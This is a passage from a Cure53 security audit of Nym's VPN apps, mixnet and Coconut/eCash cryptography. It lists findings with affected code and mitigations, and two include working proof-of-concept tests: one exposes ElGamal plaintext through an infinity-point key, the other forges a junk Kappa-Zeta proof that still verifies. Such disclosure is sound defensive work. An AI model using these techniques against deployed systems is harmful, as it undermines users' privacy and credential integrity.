    // TODO: introduce bound checks to guard us against out of bound reads

    let encryption_key =

SurbEncryptionKey::try_from_bytes(&bytes[..SurbEncryptionKeySize::USIZE])?;

    let surb = match
SURB::from_bytes(&bytes[SurbEncryptionKeySize::USIZE..]) {
        Err(err) => return Err(ReplySurbError::RecoveryError(err)),
        Ok(surb) => surb,
    };

    Ok(ReplySurb {
        surb,
        encryption_key,
    })
}
```

The excerpt below demonstrates the *try_from_bytes* function of the *requests.rs* file. It is evident that the function fails to check if the *bytes* parameter is of sufficient length to access the elements at location 0 and 1 of the array.

Affected file #2:
nym/common/nymsphinx/anonymous-replies/src/requests.rs

Affected code #2:
```
pub fn try_from_bytes(bytes: &[u8]) -> Result<Self,
InvalidReplyRequestError> {
    if bytes.is_empty() {
        return Err(InvalidReplyRequestError::RequestTooShortToDeserialize);
    }
    let tag = ReplyMessageContentTag::try_from(bytes[0])?;
    let content = ReplyMessageContent::try_from_bytes(&bytes[1..], tag)?;

    Ok(ReplyMessage { content })
}
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

To mitigate this issue, Cure53 advises rigorously verifying all incoming packets with regards to their expected minimum lengths, and raising an error in the case that packets do not comply with these requirements.

NYM-01-004 WP1: Android app supports unmaintained SDK versions *(Low)*

While reviewing the repository *nym-vpn-android* it was found that by establishing the minimum SDK version to be 24, the NymVPN application is allowed to run on mobile devices with an Android version that is no longer maintained. Note that this increases the attack surface, and potentially exposes the NymVPN Android app to known vulnerabilities that are patched in more recent OS versions.

Affected file #1:
nym-vpn-android/buildSrc/src/main/kotlin/Constants.kt

Affected code #1:
```
object Constants {
       const val VERSION_NAME = "v1.0.5"
    const val VERSION_CODE = 10500
    const val TARGET_SDK = 34
    const val COMPILE_SDK = 34
    const val MIN_SDK = 24
    [...]
}
```

Affected file #2:
nym-vpn-android/app/build.gradle.kts

Affected code #2:
```
android {
    [...]

    defaultConfig {
        applicationId = "${Constants.NAMESPACE}.${Constants.APP_NAME}"
        minSdk = Constants.MIN_SDK
        targetSdk = Constants.TARGET_SDK
        versionCode = Constants.VERSION_CODE
        versionName = Constants.VERSION_NAME
}
```

To mitigate this issue, updating the minimum OS version supported is recommended. Although a reasonable recommendation for the *minSDK* would be at least 29, the decision should be made taking into account the cumulative user base[11] running a particular OS version, and the OS version receiving recent security updates[12].

[11] https://apilevels.com
[12] https://en.wikipedia.org/wiki/Android_version_history

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

NYM-01-005 WP5: No infinity point check reveals plaintext for ElGamal *(High)*

The original Coconut protocol uses ElGamal encryption to blind private attributes of the authorities signing the credentials. The ElGamal algorithm for elliptic curves, as implemented in the *nym* repository, corresponds to an asymmetric encryption scheme in which the sender uses the public key of the recipient to encrypt a message *m*. It was found that the implementation in the *nym* repository fails to validate the public key of the recipient for the infinity point, essentially revealing the decryption result on encryption.

For correct encryption operations, the result of encryption would correspond to two values, namely to the tuple $(k*G_1, A*k + H*m)$ where *k* denotes a random integer referred to as ephemeral key, *A* denotes the public key of the recipient, *H* corresponds to a point on the elliptic curve used as a parameter, *m* denotes the message and G_1 the generator point of the curve. The decryption operation removes the *A*k* part of the second element of the tuple, thereby recovering *H*m* as "plaintext". The implementation in the *nym* repository, however, fails to verify the public key *A* for the infinity point, thereby revealing *H*m* on encryption, as shown in the test below. The test can be copied to the affected file and executed, in order to demonstrate the issue.

Unit-test:

```
#[test]
fn encryption_infinity() {
   let params = Parameters::default();


   //construction of h = r*G1
   let r = params.random_scalar();
   let h = params.gen1() * r;


   //message m
   let m = params.random_scalar();
   let infinity_point = PublicKey(G1Projective::identity());
   let infinity_point_bytes = infinity_point.to_bytes();
   let infinity_public_key =
PublicKey::from_bytes(&infinity_point_bytes).unwrap();


   let (ciphertext, ephemeral_key) = infinity_public_key.encrypt(&params,
&h, &m);


   let expected_c1 = params.gen1() * ephemeral_key;
   assert_eq!(expected_c1, ciphertext.0, "c1 should be equal to g1^k");


   let expected_c2 = h * m;
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
    assert_eq!(
        expected_c2, ciphertext.1,
        "c2 should be equal h^m for infinity point"
    );
}
```

Output:

```
running 1 test
test elgamal::tests::encryption_infinity ... ok

successes:

successes:
    elgamal::tests::encryption_infinity

test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 44 filtered
out; finished in 0.00s
```

The code excerpt below highlights the missing public key validation in the *encrypt* function. Furthermore, the reconstruction of a public key from a serialized projective curve point also fails to validate the resulting point for the infinity point.

Affected file:
nym/common/nymcoconut/src/elgamal.rs

Affected code:

```
pub fn encrypt(
    &self,
    params: &Parameters,
    h: &G1Projective,
    msg: &Scalar,
) -> (Ciphertext, EphemeralKey) {
    let k = params.random_scalar();
    // c1 = g1^k
    let c1 = params.gen1() * k;
    // c2 = gamma^k * h^m
    let c2 = self.0 * k + h * msg;

    (Ciphertext(c1, c2), k)
}
[...]
pub fn from_bytes(bytes: &[u8; 48]) -> Result<PublicKey> {
    try_deserialize_g1_projective(
        bytes,
        CoconutError::Deserialization(
            "Failed to deserialize compressed ElGamal public
key".to_string(),
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
            ),
        )
        .map(PublicKey)
}
```

If the ElGamal encryption is not used by the Nym platform, then Cure53 strongly advises removing the code, in order to prevent accidental use of it, which would result in a full confidentiality breach. If the ElGamal encryption is still used, then Cure53 recommends including a check for the infinity point as a public key, and erroring out in the case that this point is provided as a public key.

NYM-01-006 WP5: Collisions in hash values of Coconut challenges *(Low)*

The Nym platform uses a variant of the Coconut protocol to handle the generation and verification of blinded credentials. Coconut comprises multiple steps, and one step corresponds to a non-interactive zero knowledge proof (NIZKP). The creation of the challenge as part of this NIZKP uses a Fiat-Shamir transform. This transformation corresponds to SHA256, transforming an array of challenge values into a hash digest. It was discovered that the way Nym creates the input array of the SHA256 function is prone to collisions, similar to earlier discovered CVEs in other NIZKP implementations[13].

Specifically, the preparation of the input array corresponds to concatenating arrays using the *chain* function of the *Iterator* trait. Inspecting the implementation of this function reveals through its comments that the *chain* function simply concatenates the two arrays, as indicated below.

Comment from the iterator.rs file:

```
/// let s1 = &[1, 2, 3];
/// let s2 = &[4, 5, 6];
///
/// let mut iter = s1.iter().chain(s2);
///
/// assert_eq!(iter.next(), Some(&1));
/// assert_eq!(iter.next(), Some(&2));
/// assert_eq!(iter.next(), Some(&3));
/// assert_eq!(iter.next(), Some(&4));
/// assert_eq!(iter.next(), Some(&5));
/// assert_eq!(iter.next(), Some(&6));
/// assert_eq!(iter.next(), None);
```

Not using separators between individual challenge input values allows an attacker to construct the same challenge for semantically different proofs. For instance, the hashes outlined below result in the same challenge.

[13] https://research.kudelskisecurity.com/[...]/multiple-cves-in-threshold-cryptography-implementations/

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Hashes with same challenge:

```
sha256([1,2,3].chain([4,5,6]))
sha256([1,2].chain([3,4,5,6]))
```

The excerpt below demonstrates the issue in the construction of the *ProofCmCs* implementation. It clearly shows that the *construct* function concatenates the byte arrays for the challenge by using the *chain* function.

Affected file:
nym/common/nymcoconut/src/proofs/mod.rs

Affected code:

```
pub(crate) fn construct(
    params: &Parameters,
    commitment: &G1Projective,
    commitment_opening: &Scalar,
    commitments: &[G1Projective],
    pedersen_commitments_openings: &[Scalar],
    private_attributes: &[&Attribute],
    public_attributes: &[&Attribute],
) -> Self {
    [...]
    // compute challenge
    let challenge = compute_challenge::<ChallengeDigest, _, _>(
        std::iter::once(params.gen1().to_bytes().as_ref())
            .chain(hs_bytes.iter().map(|hs| hs.as_ref()))
            .chain(std::iter::once(h.to_bytes().as_ref()))
            .chain(std::iter::once(commitment.to_bytes().as_ref()))
            .chain(commitments_bytes.iter().map(|cm| cm.as_ref()))
            .chain(std::iter::once(commitment_attributes.to_bytes().as_ref(
)))
            .chain(commitments_attributes_bytes.iter().map(|cm|
cm.as_ref())),
    );
    [...]
}
```

In order to mitigate this issue, Cure53 advises prepending each constituent used by the proof as part of the challenge, by its length, prior to its concatenation.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

NYM-01-007 WP5: Verification of KappaZeta NIZKP succeeds for junk values *(Low)*

The Coconut scheme of Nym utilizes non-interactive zero-knowledge-proofs (NIZKP) as part of the blind signature scheme. The Kappa-Zeta NIZKP aims at proving knowledge of the serial and binding number from a prover to a verifier, without revealing the prover's values. The proof uses elliptic curve cryptography over the curve BLS12-381. It was discovered that the verification of the proof fails to exclude invalid parameters that result in a successful proof, even though the proven statement corresponds to garbage.

This enables an attacker that provides these parameter values to the verifier of the Kappa-Zeta NIZKP to pass the proof verification. Depending on the subsequent usage of the proven statement, this results in further, unspecified harm.

The unit test below demonstrates the issue. The unit test creates a verification key, and sets the variable *kappa_new* to the public key *alpha* and the *zeta_new* variable to the infinity point of the G_2 group of BLS12-381. The commitments for Kappa and Zeta are set accordingly, to determine the necessary challenge resulting from the invalid proof parameters. In the test, *commitment_kappa* is set to *alpha*, and *commitment_zeta* is set to the infinity point. Finally, the responses to the proof used for validating the statement for *kappa_new* and *zeta_new* are all set to the *zero* scalar. Finally, computing the resulting *challenge* via a Fiat-Shamir transform results in a Kappa-Zeta NIZKP, which proves a garbage statement, but verifies successfully.

Unit test:

```
#[test]
fn proof_kappa_zeta_verify_garbage() {
    let params = setup(4).unwrap();
    let keypair = keygen(&params);

    let verification_key = keypair.verification_key();

    let beta_bytes = verification_key
        .beta_g2
        .iter()
        .map(|beta_i| beta_i.to_bytes())
        .collect::<Vec<_>>();

    let kappa_new = verification_key.alpha.clone();
    let zeta_new = G2Projective::identity();

    let commitment_kappa = verification_key.alpha.clone();
    let commitment_zeta = G2Projective::identity();

    let challenge_new = compute_challenge::<ChallengeDigest, _, _>(
        std::iter::once(params.gen2().to_bytes().as_ref())
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
            .chain(std::iter::once(kappa_new.to_bytes().as_ref()))
            .chain(std::iter::once(zeta_new.to_bytes().as_ref()))
            .chain(std::iter::once(verification_key.alpha.to_bytes().as_ref
()))
            .chain(beta_bytes.iter().map(|b| b.as_ref()))
            .chain(std::iter::once(commitment_kappa.to_bytes().as_ref()))
            .chain(std::iter::once(commitment_zeta.to_bytes().as_ref())),
    );

    let garbage_proof = ProofKappaZeta {
        challenge: challenge_new,
        response_serial_number: Scalar::zero(),
        response_binding_number: Scalar::zero(),
        response_blinder: Scalar::zero(),
    };

    assert!(garbage_proof.verify(&params, keypair.verification_key(),
&kappa_new, &zeta_new));
}
```

Running the test results in the output shown below. It is clear that the test correctly verifies the garbage Kappa-Zeta NIZKP.

Output:

```
running 1 test
test proofs::tests::proof_kappa_zeta_verify_garbage ... ok

successes:

successes:
    proofs::tests::proof_kappa_zeta_verify_garbage

test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 44 filtered
out; finished in 0.02s
```

The excerpt below demonstrates the issue. The *verify* function for the *ProofKappaZeta* impl fails to validate any of the provided values, both for *kappa* / *zeta*, and the *response_serial_number*, *response_blinding_number*, and *response_blinder*.

Affected file:
nym/common/nymcoconut/src/proofs/mod.rs

Affected code:

```
pub(crate) fn verify(
    &self,
    params: &Parameters,
    verification_key: &VerificationKey,
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
    kappa: &G2Projective,
    zeta: &G2Projective,
) -> bool {
    [...]
    let response_attributes = [self.response_serial_number,
self.response_binding_number];
    [...]
    let commitment_kappa = kappa * self.challenge
        + params.gen2() * self.response_blinder
        + verification_key.alpha * (Scalar::one() - self.challenge)
        + response_attributes
            .iter()
            .zip(verification_key.beta_g2.iter())
            .map(|(priv_attr, beta_i)| beta_i * priv_attr)
            .sum::<G2Projective>();

    // zeta is the public value associated with the serial number
    let commitment_zeta = zeta * self.challenge + params.gen2() *
self.response_serial_number;

    // compute the challenge
    let challenge = compute_challenge::<ChallengeDigest, _, _>(
        std::iter::once(params.gen2().to_bytes().as_ref())
            .chain(std::iter::once(kappa.to_bytes().as_ref()))
            .chain(std::iter::once(zeta.to_bytes().as_ref()))
            .chain(std::iter::once(verification_key.alpha.to_bytes().as_ref
()))
            .chain(beta_bytes.iter().map(|b| b.as_ref()))
            .chain(std::iter::once(commitment_kappa.to_bytes().as_ref()))
            .chain(std::iter::once(commitment_zeta.to_bytes().as_ref())),
    );

    challenge == self.challenge
}
```

To mitigate this issue Cure53 advises excluding all parameters that correspond to an invalid Kappa-Zeta NIZKP, like, for example, infinity points of G_2 on BLS12-381.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

NYM-01-010 WP1: Android / iOS apps lack root / jailbreak detection *(Low)*

Dynamic testing of the NymVPN app on a rooted Samsung A14 device (Android 13) and a jailbroken – via the *palera1n*[14] exploit – iPhone 8 Plus (OS 16.3.1) showed that it is possible to run the NymVPN application on rooted / jailbroken devices, without the app terminating or any warnings being displayed to the user.

Note that the absence of root / jailbreak detection does not constitute a vulnerability in itself, and it is generally bypassable using reverse-engineering techniques. However, including some form of root and jailbreak detection is recommended as an in-depth measure, in order to improve the app's resilience[15] and to minimize its attack surface, thereby enhancing its overall security posture.

To mitigate this issue, Cure53 recommends implementing root and jailbreak detection on the Android and iOS app, respectively. For this purpose, use of the *jail-monkey*[16] open-source library would suffice, in order to alert and inform users of the risks of running the apps on rooted or jailbroken devices.

NYM-01-011 WP1: Absent security screen in apps facilitates creds. leakage *(Info)*

While dynamically testing the NymVPN apps over Android and iOS, it was observed that no security screen is displayed when the applications are pushed to the background. In particular, if the application is backgrounded when the user is entering the credentials in order to use the NymVPN app, then no security screen is displayed.

This could eventually cause the credentials to leak. In one scenario, this might happen if an attacker gets hold of an unlocked device where the NymVPN application was backgrounded when entering the credentials. In another scenario, as automatic screenshots are taken by the OS for restoration purposes and kept in the local storage, an attacker that somehow manages to get access to the local storage of the device could also access the screenshots.

Note that since the attack scenario is rather unlikely, this should be taken mostly as a hardening recommendation and the mitigation essentially entails adherence to best practices[17]. As such, Cure53 recommends implementing a security screen for the *onActivityPause*[18] or *ON_PAUSE*[19] lifecycle events on Android, and similarly when the app is detected as being pushed to the background on iOS. Further, it is advisable to set the *FLAG_SECURE*[20] flag in Android.

[14] https://palera.in/
[15] https://mobile-security.gitbook.io/masvs/security-requirements/0x15-v8-resiliency_[...]_requirements
[16] https://github.com/GantMan/jail-monkey
[17] https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-3/
[18] https://developer.android.com/reference/android/app/Application.Activity[...](android.app.Activity)
[19] https://developer.android.com/reference/androidx/lifecycle/Lifecycle.Event
[20] https://developer.android.com/ref[...]droid/view/WindowManager.LayoutParams#FLAG_SECURE

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

NYM-01-012 WP5: Replay of NIZKPs due to lack of context information *(Low)*

During a review of the *nym* repository, it was found that the Coconut protocol implementation contains two NIZKPs, namely *ProofCmCs* and *ProofKappaZeta* NIZKPs. In NIZKPs, a user proves a statement to a verifier concerning a secret, without revealing information about the secret to the verifier. Such proofs form a vital ingredient to many MPC-TSS schemes. It must be noted that such proofs usually constitute a step within a larger protocol involving multiple parties, and thereby have a contextual meaning. However, it was found that the Coconut implementation in the *nym* repository fails to include such information within the NIZKPs, thereby allowing for replay attacks.

An attacker that manages to get hold of such NIZKPs can replay the entire proof without having any knowledge of the secret being proven. Depending on further processing steps, this can result in DoS situations (due to the lack of knowledge of the secret's value) or other, unspecified harm.

The excerpt below demonstrates the issue for the *ProofCmCs* NIZKP. It is evident that the computation of the challenge fails to take into account the protocol type or any other context information related to this NIZKP, like, for example, verifier identities, session IDs, or similar. Similar observations hold for the *ProofKappaZeta* struct.

Affected file:
nym/common/nymcoconut/src/proofs/mod.rs

Affected code:

```
pub struct ProofCmCs {
    challenge: Scalar,
    response_opening: Scalar,
    response_openings: Vec<Scalar>,
    response_attributes: Vec<Scalar>,
}
[...]
impl ProofCmCs {
    [...]
    pub(crate) fn construct(
        params: &Parameters,
        commitment: &G1Projective,
        commitment_opening: &Scalar,
        commitments: &[G1Projective],
        pedersen_commitments_openings: &[Scalar],
        private_attributes: &[&Attribute],
        public_attributes: &[&Attribute],
    ) -> Self {
        [...]
        // recompute h
        let h = compute_hash(*commitment, public_attributes);
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
        [...]
        // compute challenge
        let challenge = compute_challenge::<ChallengeDigest, _, _>(
            std::iter::once(params.gen1().to_bytes().as_ref())
                .chain(hs_bytes.iter().map(|hs| hs.as_ref()))
                .chain(std::iter::once(h.to_bytes().as_ref()))
                .chain(std::iter::once(commitment.to_bytes().as_ref()))
                .chain(commitments_bytes.iter().map(|cm| cm.as_ref()))
                .chain(std::iter::once(commitment_attributes.to_bytes().as_
ref()))
                .chain(commitments_attributes_bytes.iter().map(|cm|
cm.as_ref())),
        );
        [...]
        ProofCmCs {
            challenge,
            response_opening,
            response_openings,
            response_attributes,
        }
    }
    [...]
    pub(crate) fn verify(
        &self,
        params: &Parameters,
        commitment: &G1Projective,
        commitments: &[G1Projective],
        public_attributes: &[&Attribute],
    ) -> bool {
        [...]
    }
    [...]
}
```

To mitigate this issue, Cure53 advises including the protocol type for which the NIZKP was computed, as well as the verifier ID(s) and a session ID, within the challenge of the proof. This enables the verifier to check if the NIZKP was created using the expected context information and thereby mitigates replay attacks of the *ProofCmCs* and *ProofKappaZeta* NIZKPs.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

NYM-01-013 WP5: No integrity protection for Sphinx packets in Nym *(Medium)*

The mixnet nodes of the Nym platform use the Sphinx protocol to send packets through the mixnet to other mixnet nodes. In Sphinx, the header of the packets is protected by a MAC, whereas the payload is sent encrypted, but without integrity protection. Therefore, malicious mixnet nodes could alter the payload of Sphinx packets without any node in the mixnet noticing, essentially resulting in a DoS situation for clients.

The issue was discussed with the customer, and the original Sphinx protocol[21] was reviewed. It became clear, as confirmed by the customer, that Sphinx lacks integrity protection of the payload of the packets, which is by design. However, not protecting the payload of Sphinx packets essentially allows a rogue mixnet node to alter bits in the ciphertext of a packet without noticing.

The excerpt below highlights the issue. The *decrypt_in_place* function uses a stream cipher without integrity protection.

Affected file:
nym/common/nymsphinx/src/receiver.rs

Affected code:

```
impl MessageReceiver for SphinxMessageReceiver {
    [...]
    fn decrypt_raw_message<C>(
        &self,
        message: &mut [u8],
        key: &CipherKey<C>,
    ) -> Result<(), MessageRecoveryError>
    where
        C: StreamCipher + KeyIvInit,
    {
        let zero_iv = stream_cipher::zero_iv::<C>();
        stream_cipher::decrypt_in_place::<C>(key, &zero_iv, message);
        Ok(())
    }
    [...]
}
```

To mitigate this issue, Cure53 advises either replacing Sphinx with a packet format that utilizes integrity protection of payloads - like for example the Miranda protocol[22] - to isolate malicious mixnet nodes, or to apply a MAC to the payloads of individual mixnet nodes.

[21] https://www.freehaven.net/anonbib/cache/DBLP:conf/sp/DanezisG09.pdf
[22] https://eprint.iacr.org/2017/1000.pdf

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

NYM-01-015 WP5: Missing point validation in batch signature verification *(Info)*

It was observed that a number of batch signature verification functions in Nym's Rust implementation of offline eCash lacked point validation on elliptic curve points. This oversight can lead to security vulnerabilities, including invalid curve attacks, which compromise the integrity and security of the cryptographic operations for offline eCash.

Affected file #1:
nym/common/nym_offline_compact_ecash/src/scheme/coin_indices_signatures.rs

Affected code #1:

```
pub fn verify_coin_indices_signatures(
    vk: &VerificationKeyAuth,
    vk_auth: &VerificationKeyAuth,
    signatures: &[CoinIndexSignature],
) -> Result<()> {
    if vk_auth.beta_g2.len() < 3 {
        return Err(CompactEcashError::KeyTooShort);
    }
    let m1: Scalar = constants::TYPE_IDX;
    let m2: Scalar = constants::TYPE_IDX;
    let partially_signed = vk_auth.alpha + vk_auth.beta_g2[1] * m1 +
vk_auth.beta_g2[2] * m2;
    let vk_bytes = vk.to_bytes();

    let mut pairing_terms = Vec::with_capacity(signatures.len());

    for (i, sig) in signatures.iter().enumerate() {
        let l = i as u64;
        let mut concatenated_bytes = Vec::with_capacity(vk_bytes.len() +
l.to_le_bytes().len());
        concatenated_bytes.extend_from_slice(&vk_bytes);
        concatenated_bytes.extend_from_slice(&l.to_le_bytes());

        // Compute the hash h
        let h = hash_g1(concatenated_bytes.clone());

        // Check if the hash is matching
        if sig.h != h {
            return
Err(CompactEcashError::CoinIndicesSignatureVerification);
        }

        let m0 = Scalar::from(l);
        // push elements for computing
        // e(h1, X1) * e(s1, g2^-1) * ... * e(hi, Xi) * e(si, g2^-1)
        // where
        // h: H(vk, l)
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
        // si: h^{xi + yi[0] * mi0 + yi[1] * m1 + yi[2] * m2}
        // X: g2^{x + y[0] * mi0 + yi[1] * m1 + yi[2] * m2}
        pairing_terms.push((sig, vk_auth.beta_g2[0] * m0 +
partially_signed));
    }

    // computing all pairings in parallel using rayon makes it go from
~45ms to ~30ms,
    // but given this function is called very infrequently, the possible
interference up the stack is not worth it
    if !batch_verify_signatures(pairing_terms.iter()) {
        return Err(CompactEcashError::CoinIndicesSignatureVerification);
    }

    Ok(())
}
```

Affected file #2:
nym/common/nym_offline_compact_ecash/src/scheme/expiration_date_signatures.rs

Affected code #2:

```
pub fn sign_expiration_date(
    sk_auth: &SecretKeyAuth,
    expiration_date: u64,
) -> Result<Vec<PartialExpirationDateSignature>> {
    if sk_auth.ys.len() < 3 {
        return Err(CompactEcashError::KeyTooShort);
    }
    let m0: Scalar = Scalar::from(expiration_date);
    let m2: Scalar = constants::TYPE_EXP;

    let partial_s_exponent = sk_auth.x + sk_auth.ys[0] * m0 + sk_auth.ys[2]
* m2;

    let sign_expiration = |l: u64| {
        let valid_date = expiration_date
            - ((constants::CRED_VALIDITY_PERIOD_DAYS - l - 1) *
constants::SECONDS_PER_DAY);
        let m1: Scalar = Scalar::from(valid_date);
        // Compute the hash
        let h = hash_g1([m0.to_bytes(), m1.to_bytes()].concat());
        // Sign the attributes by performing scalar-point multiplications
and accumulating the result
        let s_exponent = partial_s_exponent + sk_auth.ys[1] * m1;

        // Create the signature struct on the expiration date
        PartialExpirationDateSignature {
            h,
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
            s: h * s_exponent,
        }
    };

    cfg_if::cfg_if! {
        if #[cfg(feature = "par_signing")] {
            use rayon::prelude::*;

            Ok((0..constants::CRED_VALIDITY_PERIOD_DAYS)
                .into_par_iter()
                .map(sign_expiration)
                .collect())
        } else {

Ok((0..constants::CRED_VALIDITY_PERIOD_DAYS).map(sign_expiration).collect()
)
        }
    }
}
```

In the above, at no point in the function are the elliptic curve points validated. Without validation, an attacker can provide points that do not lie on the expected elliptic curve. This can lead to invalid curve attacks, where the attacker manipulates the cryptographic operations in order to break the security guarantees, potentially extracting secret keys or forging signatures. Furthermore, an attacker can supply specially-crafted points that can cause the cryptographic operations to behave unexpectedly, leading to undefined behavior or vulnerabilities in the system.

Before using any elliptic curve points in computations, it is recommended to ensure that these points are valid points on the curve. The absence of point validation in the expiration date signature function introduces significant security risks. Implementing the recommended validation checks ensures the integrity and security of the cryptographic operations, protecting against invalid curve attacks and other related vulnerabilities.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

NYM-01-017 WP2: macOS desktop client does not isolate privileged access *(Info)*

It was observed that the *nym-vpn-x* repository, Tauri-based NymVPN client, cannot run on macOS without granting privileged root access to the entire binary, including the entire WebView stack. This can be also deduced from the official instructions for use of the NymVPN client for macOS[23].

Granting privileged root access to the entire NymVPN client binary, including the WebView stack, is dangerous for several reasons. Firstly, it significantly increases the attack surface for potential security breaches. By giving root access to the entire binary, any vulnerability within the WebView stack, which is responsible for rendering web content, could be exploited to gain full control over the system. WebView components are notoriously prone to security flaws, as they handle complex web content that may include untrusted data. A compromised WebView could then provide an attacker with unrestricted access to the system, leading to catastrophic consequences such as data theft, system manipulation, or the installation of persistent malware.

Moreover, such a design violates the principle of least privilege[24], which is a fundamental security best practice. The principle of least privilege dictates that software should only have the minimal level of access necessary to perform its functions. By restricting privileged access to only the parts of the NymVPN client that genuinely require it (e.g., networking components like the socket and VPN functionality), the potential impact of a security vulnerability is greatly reduced. If the WebView stack, which should only need user-level permissions to function, was isolated from the root-privileged components, then even if it were compromised, the attacker would be limited in their ability to escalate privileges. This compartmentalization would help to contain security risks, and ensure that the overall system remains more secure and resilient against attacks.

It is recommended to isolate the privilege-requiring components of NymVPN into a separate binary, which is then itself granted administrative privileges without those also affecting the runtime privileges of the rest of the NymVPN client.

[23] https://nymvpn.com/en/download/macos
[24] https://csrc.nist.gov/glossary/term/least_privilege

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

NYM-01-018 WP3: Nym gateway API operates under weak threat model *(Info)*

The current implementation of NymVPN relies on fetching its list of available gateways from a single URL endpoint[25]. This design introduces several critical vulnerabilities that significantly weaken the security and robustness of the NymVPN network. Specifically, it makes the system highly susceptible to censorship and manipulation by ISP-level attackers:

- **Single point of censorship**: By centralizing the retrieval of gateway information to a single URL, the Nym VPN network becomes a prime target for censorship. Any adversary with control over the internet infrastructure, such as ISPs or government entities, can easily block access to this URL. This would effectively prevent users from obtaining the necessary gateway information, rendering the VPN unusable.
- **Vulnerability to ISP-level attack**: An ISP-level attacker can intercept and alter the HTTPS requests made to the central URL. By replacing the legitimate gateway list with one that contains only malicious gateways controlled by the attacker, users could be redirected to compromised VPN nodes. This undermines the confidentiality and integrity of the VPN, allowing the attacker to monitor or manipulate user traffic.
- **Reduced threat model**: The reliance on a single source for gateway information significantly reduces the overall threat model of the Nym VPN system. One of the key advantages of decentralized networks is their resilience to single points of failure. By centralizing the gateway list, NymVPN loses this advantage, making it easier for adversaries to disrupt or compromise the network.

Since this is a rather high-level issue, the proposed countermeasures to mitigate this issue constitute also high-level recommendations:

- **Cryptographic integrity verification countermeasures**: Introduce a mechanism for verifying the authenticity and integrity of the gateway list. This could involve cryptographic signatures where each gateway list is signed by trusted entities within the Nym network. Users' clients would then verify these signatures before accepting the gateway information. Certificate pinning, which involves associating a host with its expected public key or certificate, could help implement this countermeasure. This would ensure that the Nym VPN clients can only establish secure connections to the legitimate server, thereby preventing MitM attacks where an attacker could intercept and alter the gateway list.
- **Distributed ledger technology:** Consider utilizing blockchain or other distributed ledger technologies to maintain the gateway directory. This would provide a tamper-evident and decentralized method of storing and retrieving gateway information. Every update to the gateway list would be recorded on the ledger, ensuring transparency and preventing unauthorized modifications.
- **Redundant and diverse fetching mechanisms**: Implement multiple redundant and diverse mechanisms for fetching gateway information. This could include integrating

[25] https://nymvpn.com/api/directory/gateways

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

DNS-based service discovery, peer-to-peer protocols, and even offline methods such as pre-shared lists. By diversifying the ways in which users can obtain gateway information, the network becomes more resilient to censorship and manipulation.

NYM-01-019 WP3: Blind SSRF via mixnet nodes *(Low)*

While reviewing the source code of the mixnet nodes of the Nym platform, it was found that the mixnet uses the Sphinx protocol to send messages within the mixnet. In this protocol, a mixnet node extracts the next hop address of a packet from the header, and forwards the entire packet's payload, together with the remaining node headers, to the next hop. It was found that the client implementation forwarding a packet to the next hop in a mixnet fails to validate the next hop address for internal or private IP addresses.

This leaves the implementation vulnerable to blind Server-Side Request Forgery (SSRF) attacks. An attacker could craft a Sphinx packet which contains an internal or private IP address, instead of a mixnet node's IP address. The mixnet node parses the rogue Sphinx packet, and forwards it to the provided internal or private IP address. Depending on the security of the infrastructure, this results in unspecified harm to the Nym platform.

From the source code excerpt below it is clear that the extraction of the next hop, resulting in a *NymNodeRoutingAddress*, fails to filter internal or private IP addresses. Instead, the *try_from_bytes* function creates a new *SocketAddr* pointing to the provided address.

Affected file #1:
nym/common/nymsphinx/addressing/src/nodes.rs

Affected code #1:

```
pub fn try_from_bytes(b: &[u8]) -> Result<Self, NymNodeRoutingAddressError>
{
    [...]
    let ip_version = b[0];
    let ip = match ip_version {
        4 => {
            [...]
            IpAddr::V4(Ipv4Addr::new(b[3], b[4], b[5], b[6]))
        }
        6 => {
            [...]
            let mut address_octets = [0u8; 16];
            address_octets.copy_from_slice(&b[3..19]);
            IpAddr::V6(Ipv6Addr::from(address_octets))
        }
        v => return Err(NymNodeRoutingAddressError::InvalidIpVersion
{ received: v }),
    };
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
    let port: u16 = u16::from_be_bytes([b[1], b[2]]);

    Ok(Self(SocketAddr::new(ip, port)))
}
```

